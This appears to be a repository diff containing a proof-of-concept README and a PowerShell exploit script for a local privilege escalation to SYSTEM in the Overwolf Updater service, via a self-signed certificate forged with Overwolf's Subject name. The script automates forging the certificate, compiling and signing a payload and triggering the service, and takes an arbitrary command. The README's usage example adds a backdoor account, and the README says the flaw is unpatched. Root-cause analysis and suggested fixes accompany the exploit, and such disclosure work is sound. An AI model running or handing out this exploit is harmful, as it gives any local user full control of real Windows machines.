Overwolf Updater LPE: standard user to SYSTEM via forged Authenticode cert

Author: Unrealisedd

overwolf-updater-lpe-poc/README.md

@@ -0,0 +1,222 @@
+# Overwolf Updater Service — Local Privilege Escalation to SYSTEM
+
+## Summary
+
+The Overwolf Updater Windows service (`OverwolfUpdater`) runs as `LocalSystem` and grants **Everyone** the permission to start it with arbitrary arguments. The `/InstallCR` command accepts a user-controlled file path, performs a signature check that **skips Authenticode verification (WinVerifyTrust)** and only checks the certificate's Subject string, then **executes the file as SYSTEM**. An attacker can sign a malicious binary with a self-signed certificate matching Overwolf's exact Subject DN and achieve arbitrary code execution as `NT AUTHORITY\SYSTEM`.
+
+**Confirmed working** on Overwolf v0.304.0.11, Windows 11.
+
+## Severity
+
+**HIGH** — Local Privilege Escalation (standard user → SYSTEM)
+
+| Attribute | Value |
+|-----------|-------|
+| Attack Vector | Local |
+| Privileges Required | None (standard user) |
+| User Interaction | None |
+| Impact | Full SYSTEM compromise |
+| Affected Users | All Overwolf installations (~30M+ users) |
+
+## Proof of Concept — Confirmed SYSTEM Execution
+
+### PoC Output
+
+```
+=== EXPLOIT SUCCESSFUL ===
+[Overwolf LPE PoC]
+Timestamp: 2-7-2026 00:09:38
+Running as: nt authority\system
+Process ID: 29248
+Arguments: --install
+Integrity: System
+
+Privileges:
+SeAssignPrimaryTokenPrivilege    Disabled
+SeLockMemoryPrivilege            Enabled
+SeTcbPrivilege                   Enabled       ← Part of the OS
+SeDebugPrivilege                 Enabled       ← Debug any process
+SeImpersonatePrivilege           Enabled       ← Impersonate any user
+SeCreateGlobalPrivilege          Enabled
+[... full SYSTEM privilege set ...]
+```
+
+### Steps to Reproduce
+
+```powershell
+# 1. Create self-signed cert with Overwolf's exact Subject DN
+$cert = New-SelfSignedCertificate `
+    -Subject "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL" `
+    -Type CodeSigningCert `
+    -CertStoreLocation Cert:\CurrentUser\My
+
+# 2. Compile a payload (writes proof of SYSTEM execution)
+#    See: overwolf_lpe_poc.cs
+
+# 3. Export cert and sign the payload
+$pwd = ConvertTo-SecureString -String "pass" -Force -AsPlainText
+Export-PfxCertificate -Cert $cert -FilePath $env:TEMP\ow.pfx -Password $pwd
+signtool sign /f $env:TEMP\ow.pfx /p pass /fd sha256 payload.exe
+
+# 4. Verify forged signature matches (simulates Overwolf's check):
+$certs = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2Collection
+$certs.Import("payload.exe")
+$certs[0].Subject  # → "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
+
+# 5. Trigger the exploit — any standard user can do this:
+sc.exe start OverwolfUpdater /InstallCR C:\path\to\payload.exe
+
+# 6. Payload executes as NT AUTHORITY\SYSTEM
+```
+
+### Automated Exploit Script
+
+Full exploit script: `exploit.ps1`
+- Creates forged cert, compiles payload, signs it, starts service
+- Usage: `.\overwolf_lpe_exploit.ps1` (default: writes proof file)
+- Custom command: `.\overwolf_lpe_exploit.ps1 -Command "net user hacker P@ss123 /add"`
+
+## Root Cause Analysis
+
+### Bug 1: Insecure Service DACL — Everyone Has SERVICE_START
+
+Service security descriptor (SDDL):
+```
+(A;;RPWPCR;;;WD)
+```
+
+| Permission | SDDL | Granted To |
+|-----------|------|------------|
+| SERVICE_START | RP | WD (Everyone) |
+| SERVICE_STOP | WP | WD (Everyone) |
+| SERVICE_USER_DEFINED_CONTROL | CR | WD (Everyone) |
+
+Any user on the system can start and stop the LocalSystem service. This ACE appears **multiple times** in the SDDL, suggesting it was set programmatically (possibly by the installer granting each user access individually, but using the Everyone SID).
+
+**Expected**: Only Administrators and the Overwolf client should have SERVICE_START.
+
+### Bug 2: Signature Check Skips Authenticode Verification
+
+`FileUtils.FileSignedByOverwolf()` in `OverWolf.Client.CommonUtils.Utils`:
+
+```csharp
+public static bool FileSignedByOverwolf(
+    string path,
+    bool verifyEmbeddedSignature = false,  // ← DEFAULT: WinVerifyTrust SKIPPED
+    bool skipSubjectTest = false,
+    bool skipSerialTest = true)            // ← DEFAULT: serial NOT checked
+{
+    // verifyEmbeddedSignature is false → WinVerifyTrust NEVER CALLED
+    if (verifyEmbeddedSignature && !WinTrust.VerifyEmbeddedSignature(path))
+        return false;
+
+    // Extract cert from PE's Authenticode signature
+    X509Certificate2Collection certs = new X509Certificate2Collection();
+    certs.Import(path);
+
+    // Only checks if Subject STRING matches — no cryptographic verification
+    foreach (X509Certificate2 cert in certs)
+    {
+        if (cert.Subject.Contains("Overwolf"))
+        {
+            // Exact Subject match against 3 hardcoded values
+            if (cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
+             || cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel Aviv-Jaffa, S=Israel, C=IL"
+             || cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Ramat Gan, C=IL")
+            {
+                return true;  // ← PASSES with self-signed cert!
+            }
+        }
+    }
+    return false;
+}
+```
+
+**What's checked:**
+- Certificate Subject string matches one of 3 exact values ✓
+
+**What's NOT checked:**
+- WinVerifyTrust (Authenticode integrity) — **skipped** (`verifyEmbeddedSignature=false`)
+- Certificate chain/trust — **not checked** (self-signed accepted)
+- Certificate validity/expiration — **not checked**
+- Certificate serial number — **skipped** (`skipSerialTest=true`)
+- Certificate issuer — **not checked**
+
+**Bypass**: Create a self-signed code-signing certificate with the exact Subject DN. Sign any binary with it. The Subject matches → check passes → binary executes as SYSTEM.
+
+### Bug 3: HandleInstallCR Executes User-Controlled Path
+
+```csharp
+private static void HandleInstallCR()
+{
+    string[] array = m_Arguments.CommandlineArgs ?? ServiceCommandlineArgs;
+    string text = array[1];  // Path from sc start arguments
+
+    if (!FileUtils.FileSignedByOverwolf(text))  // Weak check (Bug 2)
+    {
+        return;
+    }
+
+    // EXECUTES AS SYSTEM!
+    Process.Start(new ProcessStartInfo
+    {
+        FileName = text,                      // User-controlled
+        Arguments = "--install",
+        WindowStyle = ProcessWindowStyle.Hidden
+    });
+}
+```
+
+## Attack Flow
+
+```
+Standard user (no admin, no UAC)
+  │
+  ├─1─► New-SelfSignedCertificate -Subject "CN=Overwolf Ltd, O=Overwolf Ltd, ..."
+  ├─2─► signtool sign /f forged.pfx payload.exe
+  │
+  └─3─► sc start OverwolfUpdater /InstallCR C:\Users\user\payload.exe
+          │
+          │  Service starts as NT AUTHORITY\SYSTEM
+          │
+          ├─► OnStart parses /InstallCR → RunCRInstall=true, stores path
+          ├─► Service stops itself
+          ├─► HandleInstallCR() called
+          │     │
+          │     ├─► FileSignedByOverwolf("C:\Users\user\payload.exe")
+          │     │     ├─► verifyEmbeddedSignature=false → WinVerifyTrust SKIPPED
+          │     │     ├─► X509Certificate2Collection.Import() → extracts forged cert
+          │     │     ├─► Subject == "CN=Overwolf Ltd, ..." → EXACT MATCH ✓
+          │     │     └─► return true
+          │     │
+          │     └─► Process.Start(payload.exe, "--install")
+          │           → EXECUTES AS NT AUTHORITY\SYSTEM
+          │
+          └─► Attacker has full SYSTEM access
+```
+
+## Files
+
+| File | Description |
+|------|-------------|
+| `exploit.ps1` | Automated exploit script |
+| `payload.cs` | Payload source (writes SYSTEM proof) |
+
+## Suggested Fix
+
+1. **Fix service DACL**: Remove Everyone's SERVICE_START/STOP/CONTROL permissions. Only Administrators and the Overwolf client process should have these rights.
+
+2. **Enable Authenticode verification**: Call `FileSignedByOverwolf(path, verifyEmbeddedSignature: true)` to invoke WinVerifyTrust and validate the actual signature chain against a trusted CA.
+
+3. **Validate certificate chain**: Verify the signing certificate chains to a trusted root CA (DigiCert, Sectigo, etc.), not just string-match the Subject.
+
+4. **Restrict file paths**: Only allow `/InstallCR` to execute files from Overwolf's own installation directory (`C:\Program Files (x86)\Common Files\Overwolf\`), which standard users cannot write to.
+
+5. **Enable serial number check**: Set `skipSerialTest: false` to validate against the 7 known Overwolf certificate serial numbers.
+
+## Disclosure
+
+- **Vendor**: Overwolf Ltd
+- **Affected versions**: 0.304.0.11 (likely all versions with this service architecture)
+- **Discovery date**: 2026-07-02
+- **Status**: Unpatched

overwolf-updater-lpe-poc/exploit.ps1

@@ -0,0 +1,139 @@
+param(
+    [string]$PayloadPath = "",
+    [string]$Command = ""
+)
+
+$ErrorActionPreference = "Stop"
+
+Write-Host "[*] Overwolf Updater LPE Exploit" -ForegroundColor Cyan
+Write-Host "[*] Target: OverwolfUpdater service (LocalSystem)" -ForegroundColor Cyan
+
+Write-Host "`n[1] Checking service state..."
+$svc = sc.exe query OverwolfUpdater 2>&1
+if ($LASTEXITCODE -ne 0) {
+    Write-Host "[-] OverwolfUpdater service not found" -ForegroundColor Red
+    exit 1
+}
+if ($svc -match "RUNNING") {
+    Write-Host "[!] Service is running, stopping it first..."
+    sc.exe stop OverwolfUpdater | Out-Null
+    Start-Sleep -Seconds 2
+}
+Write-Host "[+] Service is stopped and ready" -ForegroundColor Green
+
+Write-Host "`n[2] Creating forged Overwolf certificate..."
+$existingCert = Get-ChildItem Cert:\CurrentUser\My | Where-Object {
+    $_.Subject -eq "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
+}
+if ($existingCert) {
+    $cert = $existingCert | Select-Object -First 1
+    Write-Host "[+] Using existing forged cert: $($cert.Thumbprint)" -ForegroundColor Green
+} else {
+    $cert = New-SelfSignedCertificate `
+        -Subject "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL" `
+        -Type CodeSigningCert `
+        -CertStoreLocation Cert:\CurrentUser\My `
+        -NotAfter (Get-Date).AddYears(1)
+    Write-Host "[+] Created forged cert: $($cert.Thumbprint)" -ForegroundColor Green
+}
+
+$tempDir = $env:TEMP
+$pfxPath = Join-Path $tempDir "ow_exploit.pfx"
+$pfxPwd = "exploit123"
+
+if ($PayloadPath -and (Test-Path $PayloadPath)) {
+    Write-Host "`n[3] Using custom payload: $PayloadPath"
+    $payloadExe = $PayloadPath
+} else {
+    Write-Host "`n[3] Building payload..."
+    $payloadSrc = Join-Path $tempDir "ow_payload.cs"
+    $payloadExe = Join-Path $tempDir "ow_payload.exe"
+    $proofFile = "C:\ProgramData\Overwolf\poc_proof.txt"
+
+    if ($Command) {
+        $cmdEscaped = $Command.Replace("\", "\\").Replace('"', '\"')
+    } else {
+        $cmdEscaped = "whoami & whoami /priv"
+    }
+
+    $src = @"
+using System;
+using System.Diagnostics;
+using System.IO;
+class P {
+    static void Main(string[] a) {
+        try {
+            ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c $cmdEscaped");
+            psi.RedirectStandardOutput = true;
+            psi.UseShellExecute = false;
+            psi.CreateNoWindow = true;
+            Process p = Process.Start(psi);
+            string o = p.StandardOutput.ReadToEnd();
+            p.WaitForExit();
+            string proof = "[Overwolf LPE PoC - " + DateTime.Now.ToString() + "]\r\n" +
+                "PID: " + Process.GetCurrentProcess().Id.ToString() + "\r\n" +
+                "Args: " + string.Join(" ", a) + "\r\n\r\n" + o;
+            File.WriteAllText(@"$proofFile", proof);
+        } catch (Exception ex) {
+            File.WriteAllText(@"$proofFile", "ERR: " + ex.ToString());
+        }
+    }
+}
+"@
+    Set-Content -Path $payloadSrc -Value $src -Encoding UTF8
+
+    $csc = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
+    & $csc /nologo /target:exe /out:$payloadExe $payloadSrc 2>&1 | Out-Null
+    if (-not (Test-Path $payloadExe)) {
+        Write-Host "[-] Compilation failed" -ForegroundColor Red
+        exit 1
+    }
+    Write-Host "[+] Payload compiled: $payloadExe" -ForegroundColor Green
+}
+
+Write-Host "`n[4] Signing payload with forged certificate..."
+$securePwd = ConvertTo-SecureString -String $pfxPwd -Force -AsPlainText
+Export-PfxCertificate -Cert $cert -FilePath $pfxPath -Password $securePwd -Force | Out-Null
+
+$signtool = Get-ChildItem "C:\Program Files (x86)\Windows Kits" -Recurse -Filter "signtool.exe" -ErrorAction SilentlyContinue | Select-Object -Last 1
+if (-not $signtool) {
+    Write-Host "[-] signtool.exe not found. Install Windows SDK." -ForegroundColor Red
+    exit 1
+}
+& $signtool.FullName sign /f $pfxPath /p $pfxPwd /fd sha256 $payloadExe 2>&1 | Out-Null
+Write-Host "[+] Payload signed with forged Overwolf cert" -ForegroundColor Green
+
+$sig = Get-AuthenticodeSignature $payloadExe
+Write-Host "    Cert Subject: $($sig.SignerCertificate.Subject)"
+Write-Host "    Status: $($sig.Status)"
+
+Write-Host "`n[5] Starting service with /InstallCR..." -ForegroundColor Yellow
+$result = sc.exe start OverwolfUpdater /InstallCR $payloadExe 2>&1
+if ($result -match "START_PENDING" -or $result -match "PID") {
+    Write-Host "[+] Service started!" -ForegroundColor Green
+} else {
+    Write-Host "[-] Service start failed:" -ForegroundColor Red
+    Write-Host $result
+    exit 1
+}
+
+Write-Host "`n[6] Waiting for payload execution..."
+$proofPath = "C:\ProgramData\Overwolf\poc_proof.txt"
+$waited = 0
+while (-not (Test-Path $proofPath) -and $waited -lt 15) {
+    Start-Sleep -Seconds 1
+    $waited++
+}
+
+if (Test-Path $proofPath) {
+    Write-Host "`n[+] === EXPLOIT SUCCESSFUL ===" -ForegroundColor Green
+    Write-Host ""
+    Get-Content $proofPath
+    Write-Host ""
+    Write-Host "[+] Proof file: $proofPath" -ForegroundColor Green
+} else {
+    Write-Host "[-] Proof file not created after 15 seconds" -ForegroundColor Red
+    Write-Host "    Check C:\ProgramData\Overwolf\Log\ for service logs"
+}
+
+Remove-Item $pfxPath -Force -ErrorAction SilentlyContinue